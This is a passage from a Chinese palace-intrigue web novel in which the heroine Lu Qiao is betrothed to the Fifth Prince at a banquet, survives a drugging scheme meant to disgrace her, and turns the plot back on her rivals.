陆乔本想着让珠儿在家中休息,可珠儿却誓死不愿,一心要陪她入宫。
不过,陆乔本也不放心她留在府中。
而且,今日进了皇宫,她怕是会见到许久她在梦中那天雨夜里看见的面孔,那些人如今怕是都高升了。
陆乔怕控制不住自己,当面刺杀,所以带上了珠儿。
但珠儿身体欠佳,所以她也一并带上了霜月。
一众人走到丞相府大门前,寒风刺骨。
几个精致的马车早已套好。
许管家见到陆乔来了,三两步赶紧走到陆乔面前。
“大小姐,这外头风雪大,您紧着上车吧。”
他抬手指着第二个马车:“您与五小姐坐在第二个马车,三小姐与四小姐坐在第三个马车。”
“大少爷已经提前进宫了。”
在王氏的求情下,沈清婉一早从祠堂放了出来,紧赶慢赶地换着衣服,上了马车。
五小姐是沈自山另一个小妾白姨娘的女儿,性格恬淡,安安静静,陆乔与她见得不多。
想来沈清芷与沈清婉也不想见她,这才让沈清柔与她共坐一乘。
陆乔有些想笑,沈清芷与沈清婉斗了多年。
她们估计这辈子都没有想到,因为陆乔的到来,她们二人居然有共乘一辆马车,和平共处的一天。
帘子掀起,陆乔弯着腰走了进去。
沈清柔早已规规矩矩坐在马车侧面,恭敬地将主位让了出来。
马车行驶一路。
这一路上陆乔不问,沈清柔不语。
直至到皇宫门口,众人皆需下马车步行。
沈清柔立即扶着陆乔下马车,亦是并无言语。
能在沈清芷与沈清婉之间的夹缝生存的人,这沈清柔不简单。
这时另有一人走了过来,他身着月白锦袍,面如冠玉,唇边噙着温润笑意,行至跟前:
“若我没猜错的话,这位便是沈丞相流落在外的那位女儿?”
陆乔正欲开口
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,沈清柔脸颊微红行礼答道。
“三皇子殿下,正是家姐,名唤沈乔。”继而又转过头向陆乔介绍着,“这位是三皇子,齐王殿下,她的母妃是淑贵妃。”
陆乔也福了福身,“见过齐王殿下。”
齐王完全没有皇子的架子,“不必多礼,外面风霜大,二位小姐快快进去吧,免得感染风寒。”
沈清柔:“多谢殿下。”
齐王转身离去。
陆乔看着身旁的正在看着平王背影愣神的沈清柔。
默默思索着。
*
说是宫宴,但并没有多少人。
皇上让所有人落座后,陆乔一眼便看见一人。
她拿着酒杯的手不停地颤抖着,眼睛紧盯着他。
是他!
崔尧!
亲手杀了母亲的人。
他就是化为灰烬,陆乔也人的他的骨灰。
多少个不眠夜,陆乔在梦里不断回放着母亲**的场景。
珠儿见状暗道不妙,连忙弯腰倒茶,借机轻抚陆乔的手,将她拉回现实。
似是察觉到陆乔的目光,男子看了过来。
二人对视一眼。
陆乔回过神,端庄微笑示意。
虽只是一眼,可崔尧还是感觉到了陆乔眼底淡淡的杀意。
奇怪,自己从未见过她。
她坐的方向,好像沈丞相的家眷。
崔尧在脑海里搜索着,自己与沈丞相关系一直不错,更何况平阳侯府一案,他们二人早就是一根绳上的蚂蚱。
崔尧都实在想不通为何陆乔眼底泛起的这一丝杀意。
“沈丞,这位便是你流落在外的女儿吗?”皇上的声音响起,打断了崔尧的思绪。
沈自山拱手答话:
“禀告陛下,正是。”
“小女出生时遭奸人暗害,流落在外多年,臣每每念及于此,总是心痛不已。”
“但好在上苍垂怜,半月前竟将她寻了回来。”
沈自山笑着:“算起来,这丫头比清芷还大上一岁呢。”
“是我的嫡长女。”
沈自山强调着陆乔的身份,言语起来有些刻意。
此时王氏与沈清芷皆紧张不已。
沈清芷仿佛能听见自己的心跳声。
自打知道沈府嫡长女与五皇子的婚事起,沈清芷便夜夜睡不着觉,与母亲想尽办法寻找陆乔的下落。
好在皇天不负有心人,在王氏和沈清芷的努力下,终于是将陆乔找了回来。
多年筹谋,就在此刻。
“哦?”
皇上来了兴趣,目光看向陆乔。
第12章 两只小狗的碰面
陆乔起身行礼。
沈相特意提及嫡长女一事,皇上自然知道沈相是什么意思。
将平阳侯府逆贼一案的功臣之女嫁给萧允珩,是他多年前说下的话。
近日,也确在沈相面前提及,只不过——他本想嫁的是沈清芷。
谁承想沈相自己寻了个女儿回来。
罢了,都一样。
念及于此,皇上含笑道:“不错不错,你坐下吧。”
他转头看向沈自山,故作不知,问道:“不知你这女儿可有婚配?”
来了来了,沈清芷抓着帕子的手一紧。
“不曾婚配。”沈自山起身答道。
皇上颔首。
“我的五皇儿也在边疆多年,一直未有婚配,今日便由朕做主,将你这女儿赐予他为正妻。”
沈自山面露喜色,带着陆乔走上前来磕头谢恩。
“臣,谢皇上赐婚。”
另一个声音从一旁响起。
“儿臣,谢皇上赐婚。”
声音清冷,听不出来语气。
陆乔循声望去,只见萧允珩一身单薄的玄色长袍站在一众皇子堆里,面无表情地拱手行礼。
多年边疆风霜,萧允珩与一群皇子坐在一起,格外不一样。
或许是沙场多年,萧允珩身上带着一股肃杀之气。
陆乔有些晃神。
十年过去,他的样貌变化很大。
若不是听见皇上称呼他为五皇子,只怕若是面对面,陆乔也认不出来他。
大臣们恭贺的话语里,更多的是窃窃私语的嘲讽。
在座的众人都知道平阳侯谋逆一案,宸贵妃上吊自尽,皇上今日说是赐婚,实则是警告。
萧允珩懂,大臣们也懂。
更何况陆乔不过是刚从乡下找回来的野丫头,嫁于堂堂皇子为正妻,也实在是羞辱。
但萧允珩面不改色坐回位子上,拿起眼前的酒杯,慢慢品着。
仿佛方才皇上是赐了他一件再也普通不过的玩意儿罢了。
看来,当年两只吵架的小狗,如今都成长了。
陆乔心里暗暗感慨。
萧允珩是宸贵妃的儿子,而宸贵妃是老侯爷在外征战意外救回的女子,见她孤苦无依,便认下了干女儿。
算起来,老侯爷是萧允珩的外公。
“爷爷是我的,你滚回皇宫去,不许霸占我爷爷。”小陆乔站在老侯爷门后,双手叉着腰,气呼呼地看着又跑过来缠着爷爷的萧允珩。
小允珩自小就十分敬爱这个战功赫赫,保家卫国的外公。
他哪里会退让,“哼,他也是我外公,你凭什么不让我见外公。”
小陆乔做着鬼脸:“切,我爷爷才不是你外公呢,宸娘娘又不是爷爷的亲女儿,你才不是爷爷的外孙呢。”
说着,小陆乔得意道:“爷爷日日陪着我,而且今日可是答应了要带我骑马,才没功夫教你练武呢。”
“你胡说!我母妃就是外公亲生的,你胡说!”小允珩急了,冲上前要推开小陆乔去找外公。
小陆乔不甘示弱,一个小拳头就呼了过去。
两个小人儿瞬间扭打起来。
老侯爷听着门口的打闹声,匆匆赶来将二人拉开。
看见这个场面,他都气笑了,给两个小人儿的脑袋瓜一人敲了一下。
“你们两个啊,简直就是两只小狗,一见面就打架。”
当年打架的两只小狗,如今一只被丢在边疆十年,无人问津。另一只流落在外,与恶狗争食。
世事变迁,竟没想到会以这种方式见面。
萧允珩似是感受到陆乔的目光,冷冷的看了过来。
二人方才被皇上赐下婚约,现下对视,却没有一个人眼含情愫。
萧允珩的眼神里带更多的是冷漠,还带着一丝杀意和警告。
陆乔知道,她现在是沈自山的女儿。
她也不计较萧允珩眼里的警告,又或者她很开心看到萧云珩眼里的杀意。
至少,这表示他没有忘记平阳侯府的**不是吗?
这条路上,她终于不再是孤身一人了。
于是,陆乔像是没有看懂一般,友好地笑着回应。
萧允珩却有些诧异。
这沈相的女儿,是傻的吗?
一场赐婚,沈相府众人终是放下心来。
王氏恨不得快哭出了声,这些日子她忍着这个祖宗,忍得实在是辛苦。
沈清芷心中难掩激动,眼眸流转,她冷笑着。
沈乔,你的好日子,到头了。
她偷偷将石子丢到沈清婉脚边。
为了来这皇宫夜宴,沈清婉额头的伤可是盖了一层又一层的粉,又将额头的刘海放下,这才堪堪遮住。
一想到等下陆乔要发生什么,她就激动不已。
接收到沈清芷的信号,沈清婉将自己的丫鬟唤了过来。
陆乔正在不经意间悄悄打量着崔尧,突然被眼前的两道人影挡住。
“郡主,这便是我父亲半月前寻回的姐姐了。”
沈清婉热情地介绍着,仿佛她们二人从未有过隔阂。
“嫡姐,这位是当今皇后的侄女昭阳郡主,也是崔大人的嫡女。”
崔氏嫡女?从小就喜欢
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跟在萧允珩屁股后面的那个丫头?
陆乔心下了然。
她才被指婚萧允珩,这昭阳郡主怕是来给她找麻烦来了。
却也没想到都十年了,昭阳郡主居然还是放不下萧允珩。
陆乔起身行礼。
“素来听闻沈相有一爱女流落在外多年,前日里听说已经将你寻回,本来想着登门拜访,凑巧今日得见。”
“今后都是一家人,来!今日得见,我敬你一杯。”昭阳郡主抬起酒杯一饮而尽,动作中带着豪迈之意,让人不自觉升起好感。
“好!”陆乔拿起桌上的酒杯,也是一饮而尽。
昭阳郡主大赞:“沈家妹妹果然豪迈,不愧是沈相的女儿,与我平日里所见扭扭捏捏的贵女皆不相同。”
“是啊,郡主怕是不知她在家中是什么样子呢?”沈清婉意有所指。
郡主却不知情,拉着陆乔喝酒,一来二去三人竟也喝了不少。
突然,一旁的侍女添酒时,不小心一个踉跄。
酒壶里的酒水都泼在陆乔身上。
“奴婢该死!”
侍女扑通跪地,声音抖得不成样子。
“这是怎么当差的!”昭阳郡主皱着眉头,不满地看着侍女。
沈清婉惊讶道:“姐姐,你这衣服全都湿了可怎么是好?”
“无妨,我自幼长在宫中,妹妹若是不嫌弃,我立马让人给你送一套衣服来。”昭阳郡主贴心的看着陆乔。
二人一唱一和起来,陆乔心中冷笑。
原来,竟是为了这个。
“那可太好了,多谢郡主了。”陆乔起身致谢。
“莺儿,你送沈家大小姐去更衣。”昭阳郡主唤着身后的丫头。
那个丫头走上前,福身:“请沈姑娘随奴婢来。”
陆乔面不改色。唤着珠儿、霜月连忙跟上。
没一会儿,莺儿带着乔三人七拐八拐,走到一个房间面前。
推门而入,房内混着淡淡的清香。
莺儿引着陆乔走到屋内坐下,顺手将桌上的茶壶倒了一杯热茶递给陆乔。
陆乔接过,低眉闻着茶香,却是不喝。
“沈姑娘喝杯茶,祛袪寒气。”莺儿神情紧张地盯着陆乔的茶杯。
“小姐......”珠儿轻声提醒。
“郡主身边的丫头就是细心。”陆乔打断珠儿的话,抬起衣袖半遮面,抬头饮茶,放下衣袖,茶杯空空如也。
见此,莺儿会心一笑眼中寒光一闪。
“沈姑娘,衣服就在旁边的床榻上,若没有旁的吩咐,奴婢先退下了。”
第13章 再遇萧允珩
莺儿刚把门关上,珠儿就急得不行。
“小姐!你怎么能把茶喝了呢,这茶定有问题!”
陆乔宠溺的笑着:
“我知道,所以我这不是没喝吗。”她两只手一打开,露出裙子上湿了一片,全是方才顺着衣袖倒下来的茶水。
“那就好,那就好!”珠儿深深吐气,拍拍小胸脯。
霜月不解这主仆二人在说着什么,但不敢多问,她知道自己的身份,默默走到床榻前将衣服拿了过来,和珠儿一起帮陆乔将湿的衣服换下。
换好衣服后,陆乔打量着房间布置,正思索着待会该如何应对。
突然,她脑海一阵晕眩。
随即而来的是身上传来一阵燥热。
不对!
她还是**了!
明明她没有喝下那杯热茶,到底是哪里出了问题。
陆乔深吸一口气,控制住心神,脑海里思索着。
香!
是房中的香味有问题!
还是不对,一旁的珠儿霜月神色紧张的看着陆乔,但她们二人并无异样。
如果香有问题,为何她们二人安然无恙。
陆乔脑海中灵光一闪,她猛地想起其中关窍。
方才在大殿之上沈清婉与昭阳郡主一直劝酒,原来不止是为了同她拉近关系。
茶水不过是障眼法。
香和酒加在一起才是问题的关窍。
陆乔的脑海越来越晕晕沉沉。
“小姐!小姐!你到底怎么了!”
珠儿和霜月急坏了,却不知该怎么办。
陆乔连忙起身,跌跌撞撞跑出房屋。
“小姐,你这是要去哪啊?”
陆乔一把手抓过身旁的霜月,“去!你快去找淑贵妃,就说......”
吩咐完霜月,陆乔狠狠地咬了一下舌尖。
舌尖的刺痛让陆乔,清醒了不少,她努力看清周围的环境,一把抓着珠儿。
“走!”
陆乔不知走了多久,仅仅片刻时间,对她而言竟如此漫长。
终于,在一处破败院落,她看见一个小房子。
找到了!
陆乔用尽最后的力气,冲到小房子面前。
她一脚踹开房门。
没走两步,便摔倒在房中。
“快,左侧床下暗格里,红色瓶子里的药丸给我拿过来。”陆乔有气无力地躺在地面上,指挥着珠儿。
她不断拉扯着自己胸口的衣服,她觉得浑身热得快要炸了,嘴唇却干涸得不行。
水,她要喝水。
汗水浸湿了她的头发。
珠儿听从陆乔的指示,跌跌撞撞跑到床边。
她已然顾不了自己前两日才受了伤,今日跑前跑后,身上许多的伤口已经裂开。
小姐!救她的小姐最重要!
她在床底翻找许久,终于发现暗格。
珠儿眼神一亮,连忙打开,里面瓶瓶罐罐许多。
终于找到一个深红色小瓶。
“找到了找到了!”珠儿激动地拿着小瓶子,跑到陆乔身旁。
小心翼翼将瓶子打开,倒出一枚褐色的小药丸,送到陆乔口中帮她服下。
然后蹲坐在一旁,紧张地看着自己的小姐是否有所好转。
陆乔已经看不见眼前人是谁了。
但嘴边有个东西,她顺着抿了下去。
不过多时,她身上的燥热终于慢慢褪去,腹中泛起一片清凉,她缓缓睁开眼,看清眼前的珠儿。
“小姐!你吓**我了!”见陆乔没事了,珠儿大哭。
“傻丫头,我能有什么事,别哭了。”
陆乔喘着气,恢复着力气安慰珠儿。
一阵清冷的声音在她们后方响起。
“二位都忙清楚了的话,是不是该跟本王解释一下?”
陆乔猛的回头,只见萧允珩端坐一旁的桌边。
他修长的手指,有节奏地敲着桌面,审视着二人。
陆乔这才看清萧允珩,在大殿之上两人相隔太远,如今细看萧允珩才发现,他同宸贵妃一样,生得极好,一双漆黑的眼眸,仿佛要将她看透。
“你怎么会在这里?”陆乔茫然问道。
“呵~”仿佛是被气笑了,萧允珩冰冷的脸上难得有一丝笑意。
“且不说这是本王的房间,本王一直坐在这里品茶,倒是沈姑娘一脚踹开本王的房门,还吩咐侍女旁若无人般在本王的房中翻找着东西。”
他起身走到陆乔的面前蹲下,陆乔赶紧拉拢了方
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才她扯散的衣服:
“竟不知,沈姑娘何时对本王的房间布局样样熟悉,竟连什么瓶子里装的什么药都知道。”
陆乔咽了咽口水,屁股往后挪了挪。
该死,这狗东西什么时候回来的,他刚刚不是在大殿上吗。
平阳侯府出事前,小允珩老爱跑到侯府找老侯爷,小陆乔也喜欢来皇宫中看望宸贵妃,因为宸贵妃实在太美了,对她又温柔,还总给她亲手做糕点。
误打误撞的就发现了小允珩的秘密基地。
那时候他学不会剑招被教武的师傅打屁股,他表面上犟着不吭一声,保持着皇子的风度。
转头回到这个小屋,捂着小腚疼得嚎啕大哭。
小陆乔也是一路尾随才发现这个废弃的小屋子,她看见小允珩撅着个红腚,一脸鼻涕一脸泪的时候,笑得在地上直打滚。
“臭丫头,你还敢笑!我要杀了你灭口!”小允珩脸色通红,一把扯起裤子,举着木剑追着陆乔砍。
这皇宫陆乔其实不熟,过了许多年,她也只记得这个小破屋了。
于是在她中了**后,只能强撑着自己找到这个地方。
好在,这里一切没变。
“为何不说话?”萧允珩的眼神逐渐泛起杀意。
沈丞相的女儿对这个破落小屋如此熟悉,于他而言,意味着很多事情。
陆乔咽了咽口水,这个地方就连当初的宸贵妃都不知道,可如今陆乔却在萧允珩眼皮子底下翻找东西。
若她说不清楚的话,这狗东西说不定真的会杀了她。
不,会严加审问,让她生不如死。
“多......多年前,我流落在外时在一处破庙遇到一个落魄小姐,那时她病得要**,我就照顾了她几日。”
“这里的事,是她当时告诉我的......”
陆乔话还没说完,萧允珩眼里瞬间闪过一丝喜色,他猛地抓起陆乔的手。
“你可知那个落魄小姐如今在哪里?”
陆乔抬眸与萧允珩对视。
心脏一紧。
咚——咚——咚——
她清晰地听到了自己的心跳声。
许久,陆乔开口。
“她**。”
第14章 抓奸
萧允珩的眼神从期待瞬间变为了失望。
他仔细打量着陆乔的脸,试图从她脸上找出撒谎的痕迹。
“**的?”
“病死的。”
“什么病?”
“她一夜一夜烧得浑身滚烫,最终在一个雨夜,没有扛过去。”
萧允珩呼吸一滞。
抓在她手腕上的力量突然加大,让陆乔疼得皱起眉头。
“宁王殿下,疼!”
“本王再问你,你说的话,可有证据?”萧允珩问道。
“上京城西三十里地外的一处破庙,我将她埋在了破庙门口的一株柳树下。”
“殿下不信,可派人去查。”
陆乔说得实在精确,萧允珩再问无可问。
一双好看的眸子里充斥着落寞。
他放开陆乔的手,不再言语。
起身,走回茶桌旁。
陆乔看着萧允珩,他的背影愈显单薄。
心里百味陈杂。
其实,陆乔没有说谎,她确实在那座破庙里呆过。
那棵柳树下,确有一具尸体。
那时的她从平阳侯府逃出来不久,幼小的她根本不知道该怎么办。
巨大的变故让她脑海里一片空白,来杀他爷爷的人,都是侯府往来的常客,她根本不知道可以求助谁。
她只知道,向前跑,要一直跑下去。
最后,在一座破庙前倒下。
冬日的雨,刺骨的冷。
一夜一夜的高烧,让她神志不清。
好在一个路过的小乞丐看见了她,数日的照料,她终于有了好转。
“你是什么人呀?你这身衣服的料子我在醉逢楼里见贵人身上穿过。”小乞丐衣衫褴褛,但眼睛却很灵动。
可这时的陆乔根本没有心思也不敢谈起,只沉默不语。
“那你叫什么?我叫乔乔。”小乞丐继续问着。
又是沉默。
“这也不能说?那你可以跟说什么呢?你们贵人的世界是什么样的?”
“是有吃不完的馒头吗?”
乔乔偏着脑袋,眼里满是期待。
陆乔别无它法,只能虚弱开口:“皇宫里有个小皇子,他在皇宫里有个秘密基地,他在那个秘密基地里藏了很多的糕点,有桂花糕、定胜糕、荔枝煎、豌豆黄......”
“小皇子也需要藏糕点吗?”乔乔听得眼冒精光,嘴角挂着口水。
“因为呀,他不喜欢让别人知道一个堂堂皇子喜吃甜食。”
“哈哈哈,原来皇子也跟我们差不多嘛。”乔乔笑起来眼如弯月。
陆乔如今想起,心里也是一阵温暖。
柳树下埋的,就是乔乔。
在一次她和别的小乞丐争抢馒头时,被几个大些的乞丐活生生打**。
陆乔找到她时,她正倒在血泊中。
“小...小贵人,你说的桂...桂花糕...到底是什么味道的?”
“下一辈子,我...我能......尝尝吗......”
最后,陆乔将她埋在树下,连带着将自己身上的玉佩也一起埋了下去。
陆乔站起身,走到萧允珩面前跪下。
“求王爷助我。”
萧允珩此时心情低落,语气凌冽。
“哼?救你?你可知以你的身份,本王更想杀你。”
“我知道。”陆乔答道。
“所以你哪里来的勇气求我救你。”
陆乔抬首:“因为,我可以助你——杀了沈自山。”
萧允珩挑眉,端起桌面上的茶杯在手中把玩。
“哦?”
“他可是你亲生父亲。”
陆乔眼含浓烈的恨意:“因为他宠妾灭妻,将我遗弃在外十几年,直到为了应付与你的婚约才将我找了回来。”
“我恨他!”
萧允珩不知陆乔话里真假,可他确切的感受到了陆乔的恨意和浓烈的杀意,他在边疆征战十年,这一点,他的感觉,不会有错。
“你要我如何帮你。”
“请王爷借我两名侍卫。”
“好。”
走出小院,珠儿憋了许久的话,终于问出了口。
“小姐为何不跟宁王殿下坦白身份,他一定会帮你的。”
陆乔:
“我是平阳侯府唯一留下来的血脉,是爷爷的孙女。只这一点,萧允珩定会不顾一切护我安全。”
“可,我有许多要做的事,他知道我的身
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份后,定然不会让我去做。”
“我此生为了复仇而活,必要时,不惜以命相搏。”
“他会束缚我的手脚。”
陆乔的眼里满是悲凉与决绝。
珠儿闻言,久久不语。
最后才遗憾开口。
“至少,殿下肯定希望听到你活着的消息。”
“这样的话,他就知道自己不是孤单一人了。”
“我看着殿下虽贵为皇子,可他却一人站在高处,四面八方皆为敌人,总觉得有些孤寂。”
陆乔心里亦不是滋味。
当年两只打架的小狗,如今皆只能为复仇而活。
若爷爷泉下有知,不知该有多心疼。
沈清婉算着时间估摸着差不多了,和昭阳郡主拉着几位夫人找了过来。
“父亲千辛万苦才将姐姐从外面寻回,可千万不要出什么事情才好。”沈清婉对着众人,神情紧张。
昭阳郡主安慰着:“你放心,这里是皇宫,或许沈乔妹妹不过是迷了路。”
涉清芷也跟着沈清婉一起,她故作感激。
“多谢郡主帮忙,不然这偌大的皇宫,我们可不知如何是好。”
话说着不一会,沈清婉等人走到了房门前。
“姐姐!你在里面吗?”沈清婉上前敲着门。
房内无人答话。
“姐姐!姐姐!”沈清婉又连唤了几声后将耳朵紧贴着门,试图听到些许声响。
沈清芷眉心微拧:“许是...不在这里?”
“不可能!”
沈清婉看向昭阳郡主,眼神示意。
昭阳郡主了然,抬手道:“来人,将房门打开。”
几个婢女应声上前,还未用力,珠儿的声音从屋内传出。
“外面是谁在吵嚷,屋内已经有人,莫要再敲门。”
昭阳郡主眼眸一亮。
沈清芷跟在后面,眼神中也暗暗透着狠意。
沈清婉紧紧捏着手中的帕子,眼神里的恨意险些藏不住。
沈乔!你总算落我手里了!
嫡女又如何!王妃又如何!
今日一过,整个上京城都会知道你在皇宫被歹人**,我看你今后如何还能再抬得起头。
第15章 其实,是真的有个男人
沈清婉:“姐姐,你快开门!我是清婉呀!”
“见你许久不归,昭阳郡主特意带着我们来寻你了!”
珠儿慌张道:“四小姐,我们小姐没事,你们回去吧。”
听到珠儿如此慌张,沈清婉更是兴奋。
“郡主,我看这丫头遮遮掩掩,我姐姐不会有什么事吧?”
昭阳郡主:“来人,给我把门撞开。”
几个小太监上前,用尽全力撞门。
就在这时,珠儿悄悄把门栓取下,转身离门远远的。
大门没有想象到的阻力,小太监们扑了个空,摔得七荤八素。
沈清婉和昭阳郡主顾不了这么多。
“姐姐,姐姐!你怎......”
沈清婉故作慌张,立马走进房中。
可话未说完,只见陆乔端坐在床边,并无异样。
“我不过是来这里换个衣服,妹妹在担心什么?”
陆乔并没有同预料的一样,甚至看样子陆乔并未中**。
昭阳郡主脸色一沉。
不可能!
那酒和香是她特意找人做的,陆乔只要喝了她给的酒,再踏入这个房间,药力就一定会激发。
为了让陆乔放下戒心,在房中多待一会。
她还特意吩咐莺儿做了个**阵。
她怎么可能安然无恙。
而且她安排的人呢?
若能在房中找到那个男人,她亦是可以用与男人独处一室秘密私会,来钉死陆乔。
她环视着整个房间。
沈清婉见状,也明白了她的想法。
其他跟着来的几位夫人见此场面,心里暗自明了。
这位沈丞相从外面寻回的嫡女,今后的日子怕是难熬了。
这滩浑水,她们只看不说便是。
“郡主,你在找什么呢?”陆乔问道。
“我......”昭阳郡主正欲开口。
“在那里!”
沈清婉激动地指着房间角落处的一个箱子。
那箱子虽大,但被珠儿的身体遮挡,又在角落。
方才一时间,竟还没有发现。
沈清婉走到箱子前,满眼得意。
“姐姐,这箱子装的是什么?”
珠儿快步上前,两只手紧紧压着箱子。
“四小姐,这里是我们小姐换下来的衣服,里面是女儿家换下的衣服,实在不便打开。”
“哼!你当我傻吗?”
“这么大的箱子里,只放了几件衣服?”
沈清婉与昭阳郡主二人对视一眼。
昭阳郡主:“来人,将这个丫头拖下去,把箱子打开。”
上来两个侍女,架着珠儿往旁边拖开。
“不能开!那里面装的是小姐的衣服!”珠儿喊着。
珠儿越慌张,昭阳郡主与沈清婉就越兴奋。
站在一旁静静看着的沈清芷,也冷笑着看着陆乔。
就在这时,一阵声音传来:“淑贵妃到!”
宫人声音响起,只见一位身着石榴红孔雀纹锦衣的女子踏入这房间,她云鬓花颜,金步摇轻颤,尽显雍容华贵。
“宫宴上寥寥无人,这里倒是热闹。”
霜月紧跟在淑贵妃身后,她看着陆乔安然无恙后,终于放下心来。
见淑贵妃到,屋内众人皆上前行礼。
淑贵妃抬手让众人起身,她看着珠儿被两个宫婢架起。
不满道:“昭阳,你这是做什么,成何体统,赶快将人放开。”
昭阳郡主抿着唇:“回禀娘娘,先前沈家姑娘来此处换衣服,可久久未归,我有些担心,于是和大家一起过来寻她。”
淑贵妃看着一旁的陆乔,眼底闪过一丝不明的意味。
“这不是找到了吗?为何还要抓着别人的丫鬟!”
沈清婉凑上前:“贵妃娘娘,郡主是看着这个房屋凭空出现偌大的箱子,想探查一番,可这丫头阻拦,郡主这才派人将这丫头扣下。”
“哦?你们是怀疑这里头藏了什么?”贵妃眼神一撇,看向昭阳郡主。
沈清婉认定了这里藏着男人,试探道:
“臣女...臣女方才似乎听见了男人的声音.....”
珠儿急了,“你胡说!”
“我有没有胡说,打开柜子便知!”
淑贵妃闻言,眯起眼打量着陆乔。
“你说呢?”
陆乔走到淑贵妃跟前,故作羞愤不已:“臣女今日第
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一次入宫,不知何时得罪了昭阳郡主,让她们如此污蔑,这是想致臣女于死地。”
她直接跪下,眼眶含泪:“请贵妃娘娘查明真相,还臣女一个清白!”
淑贵妃:“如此说来,你是被冤枉的,既然各执一词,那便查上一查。”
抬手:“来人,把箱子打开。”
沈清婉站在一旁,脸色荫翳,眼神阴毒。
沈乔啊沈乔,你终于要完了。
只见,淑贵妃身后一名宫婢上前,打开箱子,仔仔细细查看。
转身走回淑贵妃面前:
“娘娘,这箱子里只有一件衣服,其他什么都没有。”
昭阳郡主猛地抬头,“怎么可能!”
沈清婉冲到箱子前定睛一看,却真的只有一件衣服。
怎么可能!
她发了疯似地翻找,或许箱子下面有暗格呢?
可结果,却让她大失所望。
什么都没有。
淑贵妃见状怒道:“昭阳,你就是这么污蔑当朝丞相之女吗?”
“平日里,皇后竟是这样教导你的吗!”
昭阳郡主慌忙跪下,她还是想不明白,为什么连人都不见了。
但是现在她已无暇顾及。
这淑贵妃与皇后不睦已久,而且淑贵妃之子齐王殿下大有夺嫡之势。
而昭阳郡主不仅是皇后侄女,她身后的崔府,更是太子最大的助力,看来今日淑贵妃是不会轻饶了她。
“臣女从未污蔑沈家姑娘,不知贵妃何出此言。”
“请问自贵妃娘娘踏入这个房间以来,可有听见臣女有说过一句,沈姑娘私会外男之言。”
淑贵妃一怔,细细思索来,昭阳倒是确实从未说起什么。
从头到尾不过是沈清婉在说听到男人的声音。
淑贵妃脸色有些不好看。
“其实,是真的有个男人。”陆乔的声音淡淡响起。
众人皆是一惊。
“你说什么!”淑贵妃问道。
昭阳郡主隐隐觉得有些不妙。
“就在隔壁房里,大家随我来。”
围观众人心中莫名有些怪异,这到底唱的是哪出。
她是要带着大家抓她的奸?
第16章 沈清婉背锅
陆乔带着众人走到隔壁房间。
房门打开,只见一男子被五花大绑晕倒在地,男子额头被打得渗血,嘴角也有血迹。
“不知这位可是清婉妹妹听到的男人的声音?”陆乔问。
沈清婉就是再笨,也知道现在是什么情况了。
吞吞吐吐地说着:“我...我其实听得不真切,或许是听岔了。”
淑贵妃:“沈小姐,这究竟是怎么回事。”
陆乔福身,略有些害怕道:“我方才在屋内换着衣服,突然听见门外有脚步声,鬼鬼祟祟的。”
“故而,我与丫鬟躲在角落,结果这男人突然闯入,我与丫鬟见状不妙,拿起椅子从背后偷袭才将这男子打晕,然后我们把他给绑了起来。”
淑贵妃怒道:“真是放肆!皇宫之中竟有歹徒行如此禽兽之事!”
昭阳郡主此时的心已经沉到了谷底,她忙接话。
“贵妃娘娘说的是,来人还不将这歹徒乱棍打死!”
“慢着!”陆乔看着昭阳郡主,“这人还没有审呢,昭阳郡主为何如此着急要处死他呢!”
“我...这人既已抓到,又有何必要审问,问出来无非不过是一些污言秽语,在场有这么多朝廷命妇,实在听不得。”昭阳郡主坚持着。
陆乔冷冷:“这里贵妃娘娘还在,岂容得郡主殿下决议?”
陆乔一言,昭阳郡主气势大减,今日怕是跑不掉了,只希望这人知道什么该说,什么不该说。
淑贵妃:“来人,把他给我泼醒!”
不过多时,一个宫婢便端着一盆冷水走了进来,抬手全部泼在男子脸上。
冬日里,冰水刺激着伤口。
男子悠悠转醒,他吃痛地睁开眼,模糊间只看清昭阳郡主。
瞬间极度恐惧道:“郡主殿下,侮辱沈家小姐这事,小...小的不做了,求郡主殿下放过小的,这一千两,小的也不要了......”
男子因双手被捆住,只能勉强控制着身体,不断朝着昭阳郡主磕头。
众人瞬间哗然。
昭阳郡主脸色大变:“你住口!我何时让你侮辱沈家小姐了,你不要血口喷人。”
她慌张不已:“他侮辱沈家小姐不成,就污蔑我,应当即刻杖杀!”
可这时男子仿佛是着了魔一样,疯狂磕头,嘴里说着请昭阳郡主放过他,再也不敢侮辱沈家小姐的话。
昭阳郡主跪到淑贵妃面前:“贵妃娘娘,他说的都是胡话,我一概不知啊!”
“娘娘,你可要相信我,我什么都没有做!”
该死!这个人是疯了吗!
昭阳郡主满头雾水,哪怕他被这沈乔抓住,也不该如此恐慌到失去神志啊。
只是昭阳郡主不知道的是,这男子按计划到房间时,房间空无一人,他左等右等正欲离开,这时陆乔带着萧允珩借的两个侍卫冲了进来。
这两个侍卫跟着萧允珩多年,他们上去冲着男子一顿暴揍。
无论如何这沈家小姐是今日皇上亲口赐婚给他们的主子,若今日沈家小姐受辱,那上京众人更是不知该如何嘲笑主子了。
所以他们二人下手完全没有手下留情,反而更狠更重,全是打在别人不易观察的私处。
一拳一句“叫你敢侮辱沈姑娘!”
这男子晕倒之前脑海里只有一句“不敢侮辱沈姑娘”这一句话了。
是以,他被泼醒后看见昭阳郡主,便疯狂提及。
大局已定。
淑贵妃故作痛心地看着昭阳郡主:“昭阳,你身为郡主,得皇上恩赐,皇后照拂,居然能做出如此下三滥的事情,本宫要奏明皇上,让你父亲好好管教你!”
昭阳郡主心里一紧,怎么办!怎么办!
她扭头看着跪在一旁根本不敢吱声的沈清婉。
连忙站起身,抄起桌上的茶壶又一次砸向沈清婉。
昭阳郡主是**过武的,她这一下砸得可比陆乔砸得重多了。
好巧不巧,昭阳郡主砸位置,刚好与陆乔前两日砸的位置相同,血瞬间喷涌而出。
今日为了赴宴,沈清婉早晨对这伤口是遮了又遮,扑了不少的粉。
如今茶水混着血水,流在她的脸上,搅乱了她的妆容,显得面目狰狞。
“啊!”有几个妇人吓得捂嘴尖叫。
昭阳郡主指着沈清婉道:“是她!贵妃娘娘,是她在挑拨!”
“是她骗了臣女!这些计划也都是她安排的!”
沈清婉痛苦地捂着额头,她眼睁睁地看着昭阳郡主将
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所有罪责推到她的头上。
她张嘴正欲辩解,可迎来的是昭阳郡主恶狠狠的目光。
她不敢。
昭阳郡主是皇后的亲侄女崔氏嫡女,若将来皇后做媒,将她赐给太子做太子妃。那她此时认下这桩罪,那以后昭阳郡主还有提携她的可能,可若此时与昭阳郡主交恶,只怕她此生再也无法翻身。
这时的沈清婉只能打碎了牙,往肚子里咽。
